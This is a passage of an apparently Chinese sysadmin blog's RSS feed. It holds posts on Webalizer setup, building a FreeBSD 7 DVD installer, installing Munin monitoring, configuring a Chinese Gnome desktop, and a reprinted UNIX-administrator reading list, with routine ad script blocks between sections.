#TopCountries 30<br />
#TopEntry 10<br />
#TopExit 10<br />
#TopSearch 20<br />
#TopUsers 20</span></p>
<p><span style="color: #000000;"># The All* 可以让我们显示所有 log 文件中有记录的数据，而非只有前几名而<br />
# 已。如果设定了某一个 All 的选项，webalizer 将会为该设定新增一个页面。<br />
#AllSites no<br />
#AllURLs no<br />
#AllReferrers no<br />
#AllAgents no<br />
#AllSearchStr no<br />
#AllUsers no</span></p>
<p><span style="color: #000000;"># Webalizer 会自动使用让网址 /somedir/ 可以连结到 /somedir/index.htm<br />
# 如果你想要设定让除了 index. 结尾的网址有此效果外，还要让其它网<br />
# 址也有同样效果，您可以在此设定。<br />
#IndexAlias home.htm<br />
#IndexAlias homepage.htm</span></p>
<p><span style="color: #000000;"># Hide*, Group*, Ignore* 及Include* * 可以设定让 Webalizer 忽略<br />
# log 中的关键词，让 log 中某些记录不要被加入分析数据中。例如<br />
# 有的搜寻引擎会自动连到您的网页来找数据，您可以设定忽略这样的<br />
# 联机。请自行参阅说明。<br />
… 略 …<br />
# End of configuration file&#8230; Have a nice day!</span></p>
<p><span style="color: #000000;">QUOTE:<br />
接着我们必须依您的设定在网页根目录中建立一个数据夹以储存 Webalizer 所产生的图表，假设我们的网页根目录是 /home/www，并在其目录下建立一个子目录名为 traffic：</span></p>
<p><span style="color: #000000;"># mkdir /home/www/traffic<br />
紧接着我们就可以使用下列指令来产生统计图表：</span></p>
<p><span style="color: #000000;"># /usr/local/bin/webalizer<br />
因为我们在 webalizer.conf 中设定了所要使用的 apache 使用记录的文件名及所产生的图表存放位置，所以在执行 webalizer 时不必再加任何参数。如果您想指定使用其它的联机记录文件来做分析，您可以在指令后面加上该记录文件的文件名，例如：</span></p>
<p><span style="color: #000000;"># /usr/local/bin/webalizer /var/log/httpd-access.log<br />
产生了图表之后，我们就可以使用浏览器输入 http://www.mydomain.com/traffic</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/737.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何制作freebsd7的DVD安装盘</title>
		<link>http://www.evanjiang.net.cn/archives/715.html</link>
		<comments>http://www.evanjiang.net.cn/archives/715.html#comments</comments>
		<pubDate>Thu, 05 Mar 2009 06:23:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[制作freebsd7的DVD安装盘]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=715</guid>
		<description><![CDATA[<p>发现网上流传的Windows下的制作FreeBSD DVD安装盘都不正确，原因很简单，光盘中packages/子目录中的软件包都失去了指向../All/*的链接，只好试着在FreeBSD下作了一张，可行，搞定，现记录过程如下： </p>
<p>在VMware下安装FreeBSD，标准化最小安装，安装包：
sysutils/dvd+rw-tools（其中包含mkisofs、growisofs），其它工具（tar,mount,mdconfig）系统自带。
将FreeBSD7的几个ISO文件cp进vmware，如：/work/fbd7目录，开始命令:
su
cd /work/fbd7
mdconfig -a -f 7.0-RELEASE-i386-docs.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf &#8211; . &#124; tar -xf &#8211;
umount /mnt
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk3.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf &#8211; . &#124; tar -xf &#8211;
umount /mnt
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk2.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt [...]]]></description>
			<content:encoded><![CDATA[<p>发现网上流传的Windows下的制作FreeBSD DVD安装盘都不正确，原因很简单，光盘中packages/子目录中的软件包都失去了指向../All/*的链接，只好试着在FreeBSD下作了一张，可行，搞定，现记录过程如下： </p>
<p>在VMware下安装FreeBSD，标准化最小安装，安装包：<br />
sysutils/dvd+rw-tools（其中包含mkisofs、growisofs），其它工具（tar,mount,mdconfig）系统自带。<br />
将FreeBSD7的几个ISO文件cp进vmware，如：/work/fbd7目录，开始命令:<br />
su<br />
cd /work/fbd7<br />
mdconfig -a -f 7.0-RELEASE-i386-docs.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk3.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk2.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk1.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<span id="more-715"></span><br />
检查/work/fbd7/cdrom.inf<br />
如按以上顺序，cdrom.inf中应为：<br />
CD_VERSION = 7.0-RELEASE<br />
CD_VOLUME = 1<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
cd packages<br />
cat INDEX | sed &#8220;s/|3/|1/g&#8221; > ix<br />
cat ix | sed &#8220;s/|2/|1/g&#8221; > ixx<br />
mv ixx INDEX<br />
rm ix<br />
cd ..<br />
rm -r /work/fbd7/rr_moved（这是docs光盘的目录，这里不需要，生成ISO时会自动生成）<br />
将原来的几个iso移到其它目录<br />
mkdir /work/iso<br />
mv /work/fbd7/*.iso /work/iso </p>
<p>生成DVD ISO文件：<br />
mkisofs -R -no-emul-boot -b boot/cdboot -iso-level 3 -o /work/FreeBSD7_DVD.iso /work/fbd7<br />
或 直接刻录成DVD：<br />
growisofs –Z /dev/cd0 –speed 16 –no-amul-boot –b boot/cdboot –iso-level 3 /work/fbd7 </p>
<p>OK，完成。检查制作出的DVD，经测试：链接正常，sysinstall可认，其它各种应用正常。<br />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/715.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD 6.2下安装监测软件MUNIN手记</title>
		<link>http://www.evanjiang.net.cn/archives/660.html</link>
		<comments>http://www.evanjiang.net.cn/archives/660.html#comments</comments>
		<pubDate>Wed, 04 Mar 2009 09:31:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd 安装监测软件 MUNIN]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=660</guid>
		<description><![CDATA[<p> 最近公司因为需要对监测软件进行改进~~所以对几个不同的监测软件安装后进行了比较~~
对于大家比较熟悉的MRTG , Cacti等等同上的文章已经很多了~~
最近调查发现Munin也是一个非常好用安装和设置方便的监测软件~~</p>
<p>小弟在FreeBSD下安装后~~为了以后方便自己学习把简单的安装手顺记录了一下~~
贴上来跟大家分享一下~~</p>
<p>Environment :
OS : FreeBSD 6.2 Release</p>
<p>因为在测试MUNIN之前已经安装过CACTI~~所以snmp,RRDTOOL之类的软件已经安装过了~
另外~为了简化测试过程~~所以都能过PORTS方式安装~~如果有能过源码包安装的朋友可以补充一下~~</p>
<p>&#8212;&#8212;->>安装开始
&#8211;>munin node                        #version 1.2.5
[Copy to clipboard] [ - ]
CODE:
cd /usr/ports/sysutils/munin-node
make install distclean   #这部分类拟于~Munin的一个客户端~需要在被监测的服务器上
           [...]]]></description>
			<content:encoded><![CDATA[<p> 最近公司因为需要对监测软件进行改进~~所以对几个不同的监测软件安装后进行了比较~~<br />
对于大家比较熟悉的MRTG , Cacti等等同上的文章已经很多了~~<br />
最近调查发现Munin也是一个非常好用安装和设置方便的监测软件~~</p>
<p>小弟在FreeBSD下安装后~~为了以后方便自己学习把简单的安装手顺记录了一下~~<br />
贴上来跟大家分享一下~~</p>
<p>Environment :<br />
OS : FreeBSD 6.2 Release</p>
<p>因为在测试MUNIN之前已经安装过CACTI~~所以snmp,RRDTOOL之类的软件已经安装过了~<br />
另外~为了简化测试过程~~所以都能过PORTS方式安装~~如果有能过源码包安装的朋友可以补充一下~~</p>
<p>&#8212;&#8212;->>安装开始<br />
&#8211;>munin node                        #version 1.2.5<br />
[Copy to clipboard] [ - ]<br />
CODE:<br />
cd /usr/ports/sysutils/munin-node<br />
make install distclean   #这部分类拟于~Munin的一个客户端~需要在被监测的服务器上<br />
                                     #安装的时候会建立munin用户和组~~选&#8221;Y&#8221;就OK了~~<br />
<span id="more-660"></span><br />
如果PORTS配置没有问题的话~很快就能安装完程~~<br />
安装后~需要设置一下node的配置文件<br />
-<br />
->setting munin-node<br />
[Copy to clipboard] [ - ]<br />
CODE:</p>
<p>#echo &#8216;munin_node_enable=&#8221;"YES&#8221;"&#8216; > rc.conf   #在rc.conf文件中加入munin-node启动</p>
<p>vi /usr/local/etc/munin/munin-node.conf   #编辑munin-node.conf的配置文件,允许可以访问数据的IP<br />
[Copy to clipboard] [ - ]<br />
CODE:</p>
<p>log_file /var/log/munin-node.log  #log文件存放位置<br />
port 4949  #munin的通讯端口~可跟据自己的需要调整<br />
allow ^192\.168\.0\.0&#8243;          #允许可以访问数据的地址段~按正则表达式方式写出</p>
<p>sh /usr/local/etc/rc.d/munin-node.sh start  #配置后~启动munin-node<br />
Starting munin_node  #显示如下说明成功了~</p>
<p>安装成功后测试一下看看~是否工作正常</p>
<p>checking munin<br />
[Copy to clipboard] [ - ]<br />
CODE:<br />
#telnet localhost 4949<br />
version      #查看版本信息<br />
fetch cpu    #查看CPU信息<br />
fetch memory&#8221;                #查看内存信息数据的显示效果和MRTG有一些相拟<br />
list             #可以列出当前设备的信息<br />
quit           #退出                       </p>
<p>如果通过源码包安装~~缺少相关的依懒包请参考<br />
[Copy to clipboard] [ - ]<br />
CODE:<br />
p5-Net-Server-0.96<br />
gmake-3.81_2<br />
perl-5.8.8<br />
p5-IO-Multiplex-1.09<br />
gettext-0.16.1_3<br />
libtool-1.5.22_4<br />
libiconv-1.9.2_2<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
下面开始安装munin-server #version 1.2.5</p>
<p>&#8211;>install munin-main<br />
[Copy to clipboard] [ - ]<br />
CODE:<br />
#cd /usr/ports/sysutils/munin-main<br />
make install distclean</p>
<p>&#8211;>setting munin-main   #安装后配置一下munin的配置文件设定一下需要监测的设备<br />
[Copy to clipboard] [ - ]<br />
CODE:<br />
vi /usr/local/etc/munin/munin.conf</p>
<p>htmldir /usr/local/apache/htdocs/munin    #apache的文档目录<br />
##setting with apache conf<br />
# chown -R munin:munin /usr/local/apache/htdocs/munin  #把munin的目录权限设置一下~~如果没有的情况~~请在相关位置建立一下</p>
<p># a simple host tree                        #被监测设置配置<br />
[master.freebsdmadeeasy.com]<br />
    address 127.0.0.1                        #IP地址<br />
    use_node_name yes</p>
<p>[master.munin-test.com]<br />
    address 192.168.254.12                        #IP地址<br />
    port 7000                                               #对不同的node也可以单独设置port<br />
    use_node_name yes</p>
<p>对于更详细的配置文件可以参考官方主页的内容~~因为只是简单测试~~没有太细说调定过~~抱歉~~</p>
<p>如果通过源码包安装~~缺少相关的依懒包请参考<br />
[Copy to clipboard] [ - ]<br />
CODE:<br />
rrdtool-1.2.23<br />
p5-Net-1.21,1<br />
p5-HTML-Template-2.9<br />
p5-Date-Manip-5.44<br />
gmake-3.81_2<br />
perl-5.8.8<br />
libtool-1.5.22_4<br />
freetype2-2.2.1_2<br />
libart_lgpl-2.3.19,1<br />
png-1.2.18<br />
p5-MIME-Base64-3.07<br />
p5-Authen-SASL-2.10_1<br />
p5-PathTools-3.25<br />
p5-Digest-MD5-2.36<br />
gettext-0.16.1_3<br />
pkg-config-0.21<br />
p5-Digest-HMAC-1.01<br />
p5-GSSAPI-0.24<br />
p5-Scalar-List-Utils-1.19,1<br />
p5-Digest-1.15<br />
libiconv-1.9.2_2<br />
p5-Digest-SHA1-2.11<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
安装后确认一下munin用户的crontab,如果没有请自行添加<br />
与MRTG相同~也需要每5分钟采集一次数据<br />
[Copy to clipboard] [ - ]<br />
CODE:<br />
# su munin<br />
$ crontab -e</p>
<p>#BEGIN_MUNIN_MAIN<br />
MAILTO=root</p>
<p>*/5 * * * *     /usr/local/bin/munin-cron<br />
#END_MUNIN_MAIN</p>
<p>到这为止~~munin安装和设置结束了~~</p>
<p>测试一下看看是否能正常显示~~有可能开始没有数据~~需要等一会~<br />
[Copy to clipboard] [ - ]<br />
CODE:</p>
<p>http://$IP/munin</p>
<p>对于监测设备不是很多~~而且监测服务器性能不佳的情况下~~munin是不错的软件~~~而且安装设定也相对的简单一下~~</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/660.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD7.0Release中文桌面(Gnome)安装配置笔记</title>
		<link>http://www.evanjiang.net.cn/archives/657.html</link>
		<comments>http://www.evanjiang.net.cn/archives/657.html#comments</comments>
		<pubDate>Wed, 04 Mar 2009 09:17:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd7 中文桌面 Gnome 安装配置 笔记]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=657</guid>
		<description><![CDATA[<p>FreeBSD7.0Release中文桌面(Gnome)安装配置笔记</p>
<p>环境：vmware6.0 虚拟512M内存，8G硬盘
      IBM R51：pm1.7G，1G RAM  Windows XP</p>
<p>一．安装FreeBSD7.0 Release
从http://www.freebsd.org/下载CD1/CD2/CD3共3个ISO镜像，把CD1挂载到vmware的光驱。接下来从光盘安装。为了得到一个比较干净的系统，选择软件包时选择最小化安装。具体操作不再赘述。</p>
<p>二．安装X Window（Xorg和Gnome）
1.首先用root登录系统。为了安装时不用频繁更换光盘，将CD1/CD2/CD3三张光盘中的/Packages/All文件夹下的软件全部COPY到/usr/soft中：</p>
<p>#mkdir /usr/soft     \\建立/usr/soft目录
#mount /cdrom         \\挂载光驱，换光盘镜像时用umount /cdrom先卸载再挂接另一个镜像
#cd /cdrom/packages/All \\切换到目标目录
#cp -R * /usr/soft    \\拷贝文件</p>
<p>2．安装xorg以及gnome:
#cd /usr/soft     \\切换到刚才存放软件的目录
#pkg_add xorg-7.3_1.tbz        [...]]]></description>
			<content:encoded><![CDATA[<p>FreeBSD7.0Release中文桌面(Gnome)安装配置笔记</p>
<p>环境：vmware6.0 虚拟512M内存，8G硬盘<br />
      IBM R51：pm1.7G，1G RAM  Windows XP</p>
<p>一．安装FreeBSD7.0 Release<br />
从http://www.freebsd.org/下载CD1/CD2/CD3共3个ISO镜像，把CD1挂载到vmware的光驱。接下来从光盘安装。为了得到一个比较干净的系统，选择软件包时选择最小化安装。具体操作不再赘述。</p>
<p>二．安装X Window（Xorg和Gnome）<br />
1.首先用root登录系统。为了安装时不用频繁更换光盘，将CD1/CD2/CD3三张光盘中的/Packages/All文件夹下的软件全部COPY到/usr/soft中：</p>
<p>#mkdir /usr/soft     \\建立/usr/soft目录<br />
#mount /cdrom         \\挂载光驱，换光盘镜像时用umount /cdrom先卸载再挂接另一个镜像<br />
#cd /cdrom/packages/All \\切换到目标目录<br />
#cp -R * /usr/soft    \\拷贝文件</p>
<p>2．安装xorg以及gnome:<br />
#cd /usr/soft     \\切换到刚才存放软件的目录<br />
#pkg_add xorg-7.3_1.tbz        \\直接使用已经编译好的软件包安装xorg<br />
#pkg_add gnome2-2.20.1.tbz    \\直接使用已经编译好的软件包安装gnome<br />
<span id="more-657"></span><br />
完成安装后重启电脑。 </p>
<p>3. 配置xorg.conf<br />
#cd /usr/X11R6/bin    \\在7.0中这是一个虚拟目录，会自动制定到真实的目录<br />
#./xorgconfig        \\在7.0中这个命令与原来的5.4之前的版本有些变化<br />
根据自己的硬件配置每个选项，我使用vmware虚拟机，显示设置成1024×768，显卡选择的VESA。其他基本一路回车。最后提示是否把配置文件写入文件，回答y就可以了。 </p>
<p>4.配置.xinitrc</p>
<p>#echo “/usr/X11R6/bin/gnome-session” > ~/.xinitrc    \\运行startx时默认的桌面系统为Gnome<br />
#startx        \\进入Gnome桌面系统，此时显示的是英文环境。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
如果使用英文环境，到此已经可以正常使用了，如果使用中文环境，请往下看。</p>
<p>三．中文环境设置</p>
<p>1、Gnome中显示中文<br />
Gnome本身就可以支持中文环境，只需要简单编辑配置文件即可（root用户默认为.cshrc文件，普通用户默认为 .shrc文件）：<br />
#cd ~         \\切换到用户根目录<br />
#ee .cshrc  （或  ee .shrc ）    \\使用ee编辑器编辑配置文件，也可以使用vi编辑</p>
<p>加入下面的内容：<br />
setenv LANG zh_CN.eucCN              （或  export  LANG=&#8217;zh_CN.eucCN&#8217; ）<br />
setenv LC_LANG zh_CN.eucCN           （或  export  LC_LANG=&#8217;zh_CN.eucCN&#8217; ）</p>
<p>保存、退出、重启电脑，登陆后运行startx，进入Gnome，此时界面已经是中文版。</p>
<p>2、安装输入法<br />
我安装的是fcitx，如果您习惯或者喜欢其他输入法可以根据您自己的喜好选择。<br />
下载zh-fcitx-3.4.2_1.tbz，放到/usr/soft目录，然后运行命令：<br />
#pkg_add zh-fcitx-3.4.2_1.tbz<br />
等待大概不到两分钟即可安装完毕，按照提示编辑.cshrc（或 .shrc）文件：<br />
#cd ~     \\切换到用户根目录<br />
#ee .cshrc  （或  ee .shrc ）<br />
加入下面内容：<br />
setenv XMODIFERS  @im=fcitx             （或  export  XMODIFERS=&#8217;@im=fcitx&#8217; ）<br />
setenv LC_CTYPE   zh_CN.eucCN           （或  export  LC_CTYPE=&#8217;zh_CN.eucCN&#8217; ）<br />
保存退出。 </p>
<p>配置.xinitrc<br />
# ee .xinitrc<br />
在/usr/X11R6/bin/gnome-session的上面一行加入（不能放在下面一行，否则登录gnome后不能自动启动fcitx）：<br />
exec fcitx &#038;<br />
保存退出，重启，登陆后运行startx，进入Gnome就可以看到桌面顶端出现小企鹅输入法，按Ctrl＋Space切换中英文状态。</p>
<p>到目前为止已经可以在gnome窗口环境下查看以及输入中文了，如果需要其他软件另行安装。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>==============<br />
其他说明：</p>
<p>1、root用户的默认shell环境为csh，对应的配置文件为.cshrc；一般用户的默认shell环境为sh，对应的配置文件为.shrc。</p>
<p>2、我安装的时候最初选择的输入法版本是zh-fcitx-3.5.tbz，安装后无法启动，后来卸载重新安装了realse中自带的zh-fcitx-3.4.2_1.tbz就一切正常了。</p>
<p>3、我第一次成功进入桌面的时候没有问题，后来重新做了上面的xorg的配置后进入桌面鼠标不能移动，修改/etc/rc.conf这个文件，加入了moused_enable=&#8217;YES&#8217;，重启后鼠标就可以动了。</p>
<p>4、个人感觉FreeBSD系统自带的字体显示已经相当不错，比Linux中的默认显示效果要好，我自己就是使用的默认设置，只是把字号由10改成了12，其他没有做任何设置。<br />
如果您仍然对字体的显示效果不满意，可以如下设置来进行美化：<br />
建立TrueType目录：<br />
#mkdir /usr/X11R6/lib/X11/fonts/TrueType/<br />
将windows下的SimSun.ttc和Tahoma.ttf拷贝到/usr/X11R6/lib/X11/fonts/TrueType/。<br />
重启，登陆后运行startx，进入Gnome设置字体：点击[桌面]&#8211;>[首选项]&#8211;>[字体]，将字体全部换成SimSun，字体大小为10，然后点[细节]选项，[平滑]选无，[微调]选轻微，[次像素顺序]选RGB。这样显示效果应该已经很清晰</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/657.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 Steps to Becoming a UNIX Administrator</title>
		<link>http://www.evanjiang.net.cn/archives/637.html</link>
		<comments>http://www.evanjiang.net.cn/archives/637.html#comments</comments>
		<pubDate>Mon, 02 Mar 2009 10:29:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[信息管理]]></category>
		<category><![CDATA[10 Steps becoming Unix Administrator]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=637</guid>
		<description><![CDATA[<p>10 Steps to Becoming a UNIX Administrator</p>
<p>Russ Hill</p>
<p>See Sidebar 1</p>
<p>See Sidebar 2</p>
<p>See Sidebar 3</p>
<p>Notwithstanding the level of coverage given to Windows NT by the popular press, UNIX systems stand at the core of most mid-sized and large organizations. These systems run everything from mission-critical database applications to dazzling Web sites. The task of keeping these [...]]]></description>
			<content:encoded><![CDATA[<p>10 Steps to Becoming a UNIX Administrator</p>
<p>Russ Hill</p>
<p>See Sidebar 1</p>
<p>See Sidebar 2</p>
<p>See Sidebar 3</p>
<p>Notwithstanding the level of coverage given to Windows NT by the popular press, UNIX systems stand at the core of most mid-sized and large organizations. These systems run everything from mission-critical database applications to dazzling Web sites. The task of keeping these systems humming falls on the shoulders of the UNIX systems administrator. While the job description for a UNIX systems administrator may vary between organizations, the job carries a fair degree of respect within the industry; is often harried, but satisfying; and is reasonably well-paid. Becoming a UNIX systems administrator is thus a career goal worth striving for. Getting there, however, can be a challenge. This article is dedicated to the casual or first-time reader of the magazine who has not yet reached wizard status, but could use a little help on how to get there.</p>
<p>UNIX system administration is one of the few master/apprentice jobs still in existence, much like the old apothecary in medieval times. Usually, on-the-job training for a new apprentice is about the only training offered. Most organizations cannot afford to have a sys admin out for a week of vacation, much less for several week-long training sessions. However, times are changing. UNIX administration is now being taught at schools and employers now emphasize academic credentials and certification. The apprenticeship method of training, however, has produced many skilled administrators in the market place. Employers are starting to realize that the background, self-training, and the expected job performance is difficult to maintain for any system administrator. System administration is starting to be considered a career path, and professional salaries are beginning to be more consistent with the level of the skills required.</p>
<p>For those who have not yet obtained the wizard&#8217;s wand of a UNIX system administrator, here are 10 steps toward achieving that goal:<br />
<span id="more-637"></span><br />
1. Learn UNIX Basics</p>
<p>Learn at least 80 basic commands of the UNIX system (for example, cp, and mv). Know the file system structure and where files and directories are located in the hierarchy and why. Learn how to create, modify, and store files using vi and the basics of customizing the UNIX user interface.<br />
Attend a 40-hour course on the fundamentals of UNIX, or<br />
Attend an Introduction to UNIX class taught at a local college<br />
Read UNIX System Administration Handbook by Evi Nemeth, Garth Snyder, Scott Seebass, and Trent R. Hein. Prentice Hall. ISBN 0131510517<br />
Read Life with UNIX: A Guide for Everyone by Don Libes and Sandy Ressler. Prentice Hall. ISBN 0135366577<br />
Read Learning the VI Editor (Nutshell Handbook) by Linda Lamb. O&#8217;Reilly and Associates. ISBN 0937175676<br />
Read Essential System Administration, 2nd Edition (Nutshell Handbook) by Æleen Frisch. O&#8217;Reilly and Associates. ISBN 1565921275</p>
<p>2. Go Beyond the Basics<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
Learn more about vi and more of the command set, including df, more, and rm. Learn the ksh and sh environment including .profile and .kshrc. Know the boot up and shutdown procedures as well as the backup and restore procedures, and learn the system administration tools on your system.<br />
Attend a 40-hour course on UNIX Operations/Administration taught by the vendor of the UNIX that you are using<br />
Read Learning the Korn Shell (Nutshell Handbook) by Bill Rosenblatt. O&#8217;Reilly and Associates. ISBN 1565920546<br />
Read The Korn Shell: User and Programming Manual by Anatole Olczak. Addison-Wesley Publishing Company. ISBN 0201176882<br />
Read all man pages on the UNIX system</p>
<p>3. Learn Shell and Shell-Language Programming</p>
<p>Learn how to write shell scripts, Use &#8220;for&#8221; loops and &#8220;if&#8221; statements; use awk, sed, ed, cat, and grep commands and learn to pass information to and from shell variables.<br />
Attend a UNIX Shell programming class<br />
Read The AWK Programming Language by Alfred V. Aho, Brian W. Kernighan, and Peter J. Weinberger. Addison-Wesley Publishing Company. ISBN 020107981X<br />
Read UNIX Shell Programming (Hayden Books UNIX System Library) by Stephen G. Kochan and Patrick H. Wood. Hayden Books. ISBN 067248448X<br />
Read UNIX in a Nutshell: A Desktop Quick Reference for System V and Solaris 2.0 (Nutshell Handbook) by Daniel Gilly. O&#8217;Reilly and Associates. ISBN 1565920015<br />
Read Learning Perl, 2nd Edition (Nutshell Handbook) by Randal L. Schwartz and Tom Christiansen, Foreword by Larry Wall. O&#8217;Reilly and Associates. ISBN1565922840<br />
Read Advanced Perl Programming (Nutshell Handbook) by Sriram Srinivasan. O&#8217;Reilly and Associates. ISBN 1565922204</p>
<p>4. Become One with Your UNIX System</p>
<p>Install and configure a UNIX system from scratch. Make and mount file systems. Use cron to execute program or shell scripts, and configure UNIX for printing. Learn more about UNIX permissions. Learn what each daemon does that is running on your system. Learn Linux.<br />
Read all the UNIX manuals that come with your system</p>
<p>5. Learn DNS and BIND</p>
<p>Learn the Domain Name System (DNS) and Berkeley Internet Name Domain (BIND) and know how to use nslookup, whois, and dig.</p>
<p>Read DNS and BIND by Paul Albitz and Cricket Liu. O&#8217;Reilly and Associates. ISBN 1565922360</p>
<p>6. Become a Mail Master</p>
<p>Configure UNIX to dial out on a modem. Learn about sendmail, mail, and UUCP. Configure UNIX to send email to another system.<br />
Attend a sendmail class. http://www.harker.com has one of the best sendmail and DNS classes.<br />
Read Using &#038; Managing UUCP (Nutshell Handbook) by Ed Ravin, Dale Dougherty, Grace Todino, and Tim O&#8217;Reilly. O&#8217;Reilly and Associates. ISBN 1565921534<br />
Read Sendmail (Nutshell Handbook) by Bryan Costales and Eric Allman. O&#8217;Reilly and Associates. ISBN 1565922220</p>
<p>7. Learn Networking</p>
<p>Learn the TCP/IP layers as well as the OSI model. Learn the applications telnet and ftp, and know what SNMP and SMTP are. Learn about routers and bridges, and how to configure subnet masking. Also read about arp, rarp, bootp, ip, icmp, rip, tcp, udp, bftp, and tftp.<br />
Attend a TCP/IP class<br />
Read Internetworking with TCP/IP: Design, Implemenation, and Internals, Vol. 2 by Douglas E. Comer and David L. Stevens. Prentice Hall. ISBN 0131255274<br />
Read Internetworking with TCP/IP: Principles, Protocols, and Architecture, Vol. 1 by Douglas E. Comer. Prentice Hall. ISBN 0132169878<br />
Read Advanced Programming in the UNIX Environment (Addison-Wesley Professional Computing Series) by W. Richard Stevens. Addison-Wesley Publishing Company. ISBN 0201563177<br />
Read TCP/IP Illustrated, Volume 1: The Protocols (Addison-Wesley Professional Computing Series) by W. Richard Stevens. Addison-Wesley Publishing Company. ISBN 0201633469</p>
<p>8. Learn the Ns (NFS and NIS) and Outs of UNIX</p>
<p>Learn NFS and NIS/NIS+; know how to use hard links and symbolic links. Learn rcp, rlogin, and rsh commands. Revisit shell programming and brush up on using and redirecting the standard-out and standard-error outputs of the UNIX shell.<br />
Read Managing NFS and NIS by Hal Stern and Mike Loukides (Editor). O&#8217;Reilly and Associates. ISBN 0937175757</p>
<p>9. System Tuning and Accounting</p>
<p>Learn about UNIX system performance tuning and how to make changes to, and rebuild, the kernel. Learn the accounting packages that come with your UNIX system.<br />
Read System Performance Tuning by Mike Loukides. O&#8217;Reilly and Associates. ISBN 0937175609<br />
Read Unix Performance Tuning (Sys Admin Essential Reference Series) by Sys Admin Magazine (Editor). Miller Freeman Books. ISBN 0879304707</p>
<p>10. C the Light<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
Learn C programming on UNIX; know how to use make. Port programs between UNIX systems.<br />
Attend a Beginning C class<br />
Attend an Advanced C class<br />
Attend a System Programming C class<br />
Read UNIX: Network Programming by W. Richard Stevens. Prentice Hall. ISBN 0139498761<br />
Reference Using C on the UNIX System (Nutshell Handbook) by D. Curry. O&#8217;Reilly and Associates. ISBN 0937175234<br />
